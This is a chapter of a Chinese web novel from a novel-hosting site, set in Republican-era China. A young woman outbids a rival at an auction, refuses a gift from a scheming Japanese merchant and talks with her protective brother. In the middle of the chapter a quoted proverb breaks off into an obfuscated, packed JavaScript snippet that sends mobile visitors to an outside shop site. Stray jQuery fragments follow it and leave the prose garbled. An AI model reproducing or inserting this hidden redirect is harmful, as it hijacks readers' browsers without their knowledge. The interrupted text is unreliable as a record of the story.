文趣网 > 其他小说 > 系统逼我做任务 > 28. 民国烟雨
    几人说话间,第三件拍品已经开始叫价。

    是一块成色极好的扳指。

    “翡翠扳指,起拍价三百块大洋。”

    周念归想到了周致远,为了原主操碎了心......

    她想了想,跟着叫了价——权当是拉进关系了。

    对面的姚文荣又跟着周念归较上了劲,像被踩了尾巴的猫,立刻跳起来加价。他以为她又想跟他抢。

    周念归也不计较,只是正常加价。

    几个回合下来,周念归再次拍下这只扳指。

    姚文荣偃旗息鼓,虽然气愤,却也并不放在心上——他是为了那件重头戏来的。

    “最后这件压轴拍品,是一只翡翠手镯。”拍卖师的声音提高了几分,带着一种煽动性的热情,“这手镯本是一对,据传是古代一位王妃所爱之物。玉质温润,雕工精湛,历经百年而色泽如新。只是随着时间迁移,另一只已经遗失不见……”

    他顿了顿,环顾全场。

    “这只孤品,起拍价——一千块大洋。”

    看到这手镯虽不如前世所佩戴的那些华贵,却也能看出工艺上乘。周念归起了心思,开始跟价。

    “一千二。”

    “一千五。”

    在场的人纷纷叫价。

    “两千。”

    “两千一百块。”

    显然在场大部分人都是为了这只手镯而来,价格也越抬越高。

    周念归心里大概换算了一下——换做现代人民币,几乎两百多万了,并且又不是什么必需品。她想了想,不再跟价。

    对面的姚文荣一直在注意着周念归的动向。眼看她放弃竞价,心中一喜。

    “五千块!”

    他的声音响亮,势必要让她周念归知道——自己先前只是不屑于跟她竞争,而不是争不过。

    姚家怎么说也是数得上的门户。这价钱一出,几乎已经不再有人跟价。现场安静下来,人们纷纷看向姚文荣的方向,准备目睹他把这只手镯收入囊中。

    就在拍卖师重复三声,即将落下锤子时——

    “八千块……”

    一道蹩脚的中文自右侧方的包间响起,激起千层浪。

    现场骤然一静。

    所有人都纷纷转向,寻找声音的来源。右侧方的包间一直没有点灯,窗帘半掩着,看不清里面的人影。

    周念归也侧头看向那处包间。刚才姚文荣过来吵闹时,她就注意到那边没有点灯的包间发出了细微的动静。她当时想着或许是主人不愿示人才不开灯——也没有放在心上。如今看来,果然是一位低调的富豪。

    没想到半路杀出个程咬金,姚文荣的笑容僵在了脸上。他试探性地加了五百块:“八千五百。”

    “一万。”对方毫不犹豫。

    姚文荣的脸由红转白,由白转青。

    对方出价太高,姚文荣也没有办法,只能含恨放弃。

    随着最后一件拍品拍出,这场拍卖会也终于结束。灯光重新亮起,人们纷纷起身,三三两两地往外走。

    散场时,姚文荣不甘心地看了看那处隐蔽的包间。却见有人打开门走了出来,身后人抱着的,正是装着翡翠手镯的盒子。

    “周小姐请留步。”

    周念归等人起身准备离开,刚走到楼梯口,就听到有人用蹩脚的中文叫她。

    她转头一看——一个穿着灰色西装的中年男人正朝她走来。大概四十岁左右,体型偏瘦,人中上面留着一小撮板刷胡。

    “周小姐,我是永泰商行的老板健人一郎。从前和您哥哥周司令打过几次交道……”他微微鞠躬,姿态有礼,“之前听闻周小姐从家乡过来,一直想要拜访却没有机会……”

    周念归心里有些不适,还是微微欠身,以示礼貌。

    健人一郎鞠躬回礼后,站直了身子接着道:“中国有句古话叫‘宝剑赠英雄,红粉配佳人’。只有这样晶莹温润的珠宝才配得上您的身份。健人一郎愿将手镯送给周小姐……”

    他说着,示意身后的侍从将盒子打开。手镯在灯光下泛着莹润的光泽,美得让人移不开眼。健人一郎说话待人,端的是气度自华,眼睛却浑浊不堪,让她不自在极了。

    她极力压制心中的嫌恶,侧头想要回话。却在这一瞬间,余光瞥见手腕上的手串正亮着莹莹绿光。

    周念归愣了一下。

    奇怪。这东洋人此刻看起来并不像有情绪波动的样子,收集器怎么就亮了呢?

    还是说……

    她不动声色地环顾四周。方才那一瞬间,这厅中还有其他人在场——姚文荣站在楼梯口,铁青着脸;罗家姐妹站在她身后,面带担忧;还有几个尚未离场的宾客,正三三两两地驻足观望。

    是谁的情绪被捕捉到了?

    她收回思绪,重新看向健人一郎,礼貌而坚定地拒绝道:“中国还有句古话叫‘君子不夺人所好’。健人一郎先生对中国文化如此感兴趣,念归更是惶恐。这样的重礼,念归受之有愧,还请先生收回。”

    “周小姐……”健人一郎还想再说什么,笑容不变,眼睛里却闪过一丝极快的锐光。

    “多谢先生好意,念归心领了。告辞。”

    周念归微微欠身,不再多言,带着罗家姐妹转身下楼。

    姚文荣倚在楼梯栏杆上,一脸仇视地看着她。他大概听到了刚才的对话——自己没争过的东西,却被别人反手拿来送给自己,心里一定不好受。

    自己不争气却想拿别人撒气。

    周念归直接越过了他,径直下楼。

    “瞪什么瞪啊……自己不争气还想拿我们撒气啊……哼。”罗兰拉着罗秀紧随其后,经过姚文荣时还故意冲他做了个鬼脸。

    姚文荣听到这话,身子一顿。他想要生气,却又不得不承认她说得没错——难道还能怪别人钱比他多吗?

    健人一郎站在二楼,看着她们离去的身影,目光深沉。

    传闻中这位周二小姐胆小畏缩,本想从她下手,以此结交周致远。现在看来,得另寻他法了……

    他转过身,目光不经意地扫过楼梯口——正好看到姚文荣还站在那里,一副气不过的样子。

    健人一郎凝视了几息,嘴角浮起一丝意味深长的笑。

    随即转身离开。

    “念归……那个人看起来不像好人哦……”

    罗兰挽着周念归的胳膊,犹豫了又犹豫,还是把憋在心里的话说了出来。

    都说人与人相处最忌交浅言深。罗兰将口中的话憋了又憋,还是害怕周念归被骗,于是装傻充愣地跟周念归讨论。

    周念归一眼就看出了罗兰的小心思,抿嘴笑笑:“是啊,你从前送我的小说里刚好写了一句——‘非我

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17663130|207183||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    族类,其心必异’。”

    听到她这样说,罗兰才算是松了一口气。她拍了拍心口,嘿嘿笑了两声:“那就好,那就好。”

    到了街角,罗秀和罗兰要往另一条路走。三人道别时,罗兰又回头冲周念归挥了挥手,大声说:“下次再一起玩啊!”

    周念归站在阳光下,冲她挥了挥手。

    她忽然觉得——这个世界,好像真的没那么糟。

    回家后的周念归还没来得及将手中的扳指交给周致远,就被他叫到了书房。

    “听说你今天遇到了健人一郎?”周致远端坐在书桌后面,领口解开了两颗扣子,看起来比平日里放松些,可眉宇间的紧绷却出卖了他。

    周念归乖巧地点了点头。

    周致远身体往后靠了靠,手指交叉搁在桌面上。

    这人整天打着‘爱华商人’的旗号倒卖中国的古董,甚至多次旁敲侧击向自己灌输所谓的‘友好合作’。

    偏偏现在内乱不止,上面对这些所谓的外国友人,无一不是恭敬有余、威慑不足。自己无数次提醒要警惕这些外国人,却都被当做杞人忧天。

    面对周念归,他无法说得太明白,只隐晦提醒:“之前这人与我打过几次交道,不是个简单的人物。你离他远一点,不要过多接触。”

    “放心吧哥哥。”周念归应得爽快。

    说着,她便递上手中的首饰盒。

    “这是……扳指?”周致远打开盒子,手微微一顿。头一次收到妹妹送的礼物,有些惊讶。

    周念归点点头,声音里带着一丝不好意思:“哥哥现在可是长官呢,平日里交际应酬怎能没有饰物相称?我觉得这只扳指很适合哥哥。您穿常服的时候,就得要这些东西才衬呢。您可不要嫌弃……”

    “不嫌弃不嫌弃。”周致远取出扳指,细细摩挲打量。他迫不及待地戴在手上,刚好合适,翻来覆去地看,心中高兴不已。

    这可是自己的妹妹头一回送自己礼物。

    随即他摩挲着手里的扳指,抬眼看向她,斟酌着开口:“你今天遇到姚文荣了?”

    不同于周致远小心翼翼的试探,周念归表现得很平静:“是啊,在拍卖场碰巧遇上了。”

    周念归还当他想说什么,没想到他话锋一转:“你若是还念着他,哥就再让姚家上门来提亲。”

    随即又感叹道:“人都说虎父无犬子,从前打仗的时候,姚绍仪老爷子可没少奔走出力……怎么就生出这么个王八蛋了……”

    当初的愤怒已经消散,周念归现在看起来像没事人一样,周致远不禁又犯起了嘀咕。如果真是喜欢姚文荣,大不了自己打断他的腿,让他没办法再沾花惹草——只要自己妹妹高兴,比什么都强。

    “哎呀哥~”周念归的声音拉长了,带着几分无奈的撒娇,“我都说了已经不喜欢他了。你都不知道,今日他在拍卖场上还想跟我抢拍品呢,一点气度都没有,我才不要喜欢他了。况且我都已经说过了,强扭的瓜不甜,我可是周司令的妹妹呢,何必上赶着?您怎么还想着以权压人呢?您从前可不是这样的……”

    眼看着周念归不在乎姚文荣,反倒是更在乎自己“以权压人”这事,周致远讪讪地咳了一声:“哥就开个玩笑,别当真别当真……”

    兄妹俩说完,一起下楼吃了晚饭。吃完晚饭,周致远又匆匆忙忙出门去了。